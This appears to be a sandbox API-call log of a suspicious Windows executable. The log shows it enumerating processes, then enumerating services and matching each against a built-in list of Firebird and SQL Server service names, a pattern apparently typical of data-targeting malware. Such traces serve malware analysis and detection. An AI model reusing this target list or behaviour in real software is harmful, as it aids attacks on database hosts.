	[0162.474] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0162.475] lstrlenW (lpString="fvppjh.exe") returned 10
	[0162.475] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0162.475] lstrlenW (lpString="cmd.exe") returned 7
	[0162.475] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0162.476] lstrlenW (lpString="conhost.exe") returned 11
	[0162.476] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0162.476] lstrlenW (lpString="mode.com") returned 8
	[0162.476] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0162.477] lstrlenW (lpString="fvppjh.exe") returned 10
	[0162.477] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 0
	[0162.477] CloseHandle (hObject=0x504) returned 1
	[0162.477] Sleep (dwMilliseconds=0x1f4) 
	[0163.262] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c0480
	[0163.262] EnumServicesStatusExW (in: hSCManager=0x41c0480, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0163.263] GetLastError () returned 0xea
	[0163.263] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1bc4) returned 0x41e5cb0
	[0163.263] EnumServicesStatusExW (in: hSCManager=0x41c0480, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41e5cb0, cbBufSize=0x1bc4, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41e5cb0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0163.264] CloseServiceHandle (hSCObject=0x41c0480) returned 1
	[0163.264] lstrlenW (lpString="Appinfo") returned 7
	[0163.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0163.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0163.264] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0163.264] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0163.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0163.264] lstrlenW (lpString="AppXSvc") returned 7
	[0163.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0163.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0163.264] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0163.264] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0163.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0163.265] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0163.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0163.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0163.265] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0163.265] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0163.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0163.265] lstrlenW (lpString="Audiosrv") returned 8
	[0163.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0163.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0163.265] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0163.265] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0163.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0163.265] lstrlenW (lpString="BFE") returned 3
	[0163.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0163.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0163.265] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0163.265] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0163.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0163.265] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0163.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0163.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0163.265] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0163.265] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0163.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0163.265] lstrlenW (lpString="CDPSvc") returned 6
	[0163.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0163.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0163.265] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0163.265] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0163.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0163.265] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0163.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0163.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0163.265] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0163.265] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0163.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0163.265] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0163.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0163.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0163.266] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0163.266] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0163.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0163.266] lstrlenW (lpString="CryptSvc") returned 8
	[0163.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0163.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0163.266] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0163.266] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0163.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0163.266] lstrlenW (lpString="DcomLaunch") returned 10
	[0163.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0163.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0163.266] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0163.266] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0163.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0163.266] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0163.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0163.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0163.266] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0163.266] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0163.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0163.266] lstrlenW (lpString="Dhcp") returned 4
	[0163.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0163.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0163.266] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0163.266] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0163.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0163.266] lstrlenW (lpString="Dnscache") returned 8
	[0163.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0163.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0163.266] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0163.266] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0163.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0163.266] lstrlenW (lpString="DPS") returned 3
	[0163.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0163.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0163.267] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0163.267] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0163.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0163.267] lstrlenW (lpString="DusmSvc") returned 7
	[0163.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0163.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0163.267] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0163.267] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0163.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0163.267] lstrlenW (lpString="EventLog") returned 8
	[0163.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0163.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0163.267] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0163.267] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0163.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0163.267] lstrlenW (lpString="EventSystem") returned 11
	[0163.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0163.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0163.267] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0163.267] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0163.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0163.267] lstrlenW (lpString="FontCache") returned 9
	[0163.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0163.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0163.267] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0163.267] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0163.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0163.267] lstrlenW (lpString="gpsvc") returned 5
	[0163.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0163.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0163.267] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0163.267] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0163.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0163.268] lstrlenW (lpString="iphlpsvc") returned 8
	[0163.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0163.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0163.268] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0163.268] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0163.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0163.268] lstrlenW (lpString="KeyIso") returned 6
	[0163.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0163.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0163.268] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0163.268] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0163.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0163.268] lstrlenW (lpString="LanmanServer") returned 12
	[0163.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0163.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0163.268] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0163.268] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0163.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0163.268] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0163.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0163.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0163.268] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0163.268] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0163.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0163.268] lstrlenW (lpString="lfsvc") returned 5
	[0163.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0163.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0163.268] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0163.268] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0163.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0163.268] lstrlenW (lpString="lmhosts") returned 7
	[0163.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0163.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0163.269] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0163.269] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0163.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0163.269] lstrlenW (lpString="LSM") returned 3
	[0163.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0163.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0163.269] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0163.269] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0163.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0163.269] lstrlenW (lpString="MpsSvc") returned 6
	[0163.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0163.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0163.269] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0163.269] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0163.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0163.269] lstrlenW (lpString="NcbService") returned 10
	[0163.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0163.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0163.269] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0163.269] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0163.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0163.269] lstrlenW (lpString="netprofm") returned 8
	[0163.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0163.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0163.269] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0163.269] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0163.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0163.269] lstrlenW (lpString="NgcSvc") returned 6
	[0163.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0163.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0163.270] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0163.270] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0163.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0163.270] lstrlenW (lpString="NlaSvc") returned 6
	[0163.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0163.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0163.270] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0163.270] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0163.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0163.270] lstrlenW (lpString="nsi") returned 3
	[0163.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0163.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0163.270] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0163.270] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0163.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0163.270] lstrlenW (lpString="PcaSvc") returned 6
	[0163.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0163.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0163.270] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0163.270] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0163.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0163.270] lstrlenW (lpString="PlugPlay") returned 8
	[0163.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0163.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0163.270] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0163.270] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0163.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0163.270] lstrlenW (lpString="Power") returned 5
	[0163.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0163.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0163.270] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0163.270] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0163.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0163.270] lstrlenW (lpString="ProfSvc") returned 7
	[0163.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0163.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0163.271] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0163.271] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0163.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0163.271] lstrlenW (lpString="RpcEptMapper") returned 12
	[0163.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0163.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0163.271] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0163.271] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0163.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0163.271] lstrlenW (lpString="RpcSs") returned 5
	[0163.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0163.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0163.271] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0163.271] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0163.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0163.271] lstrlenW (lpString="SamSs") returned 5
	[0163.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0163.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0163.271] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0163.271] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0163.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0163.271] lstrlenW (lpString="Schedule") returned 8
	[0163.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0163.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0163.271] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0163.271] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0163.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0163.271] lstrlenW (lpString="SecurityHealthService") returned 21
	[0163.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0163.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0163.271] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0163.271] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0163.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0163.271] lstrlenW (lpString="SENS") returned 4
	[0163.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0163.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0163.272] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0163.272] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0163.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0163.272] lstrlenW (lpString="ShellHWDetection") returned 16
	[0163.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0163.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0163.272] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0163.272] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0163.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0163.272] lstrlenW (lpString="Spooler") returned 7
	[0163.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0163.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0163.272] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0163.272] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0163.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0163.272] lstrlenW (lpString="StateRepository") returned 15
	[0163.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0163.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0163.272] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0163.272] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0163.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0163.272] lstrlenW (lpString="SysMain") returned 7
	[0163.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0163.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0163.272] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0163.272] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0163.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0163.272] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0163.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0163.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0163.272] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
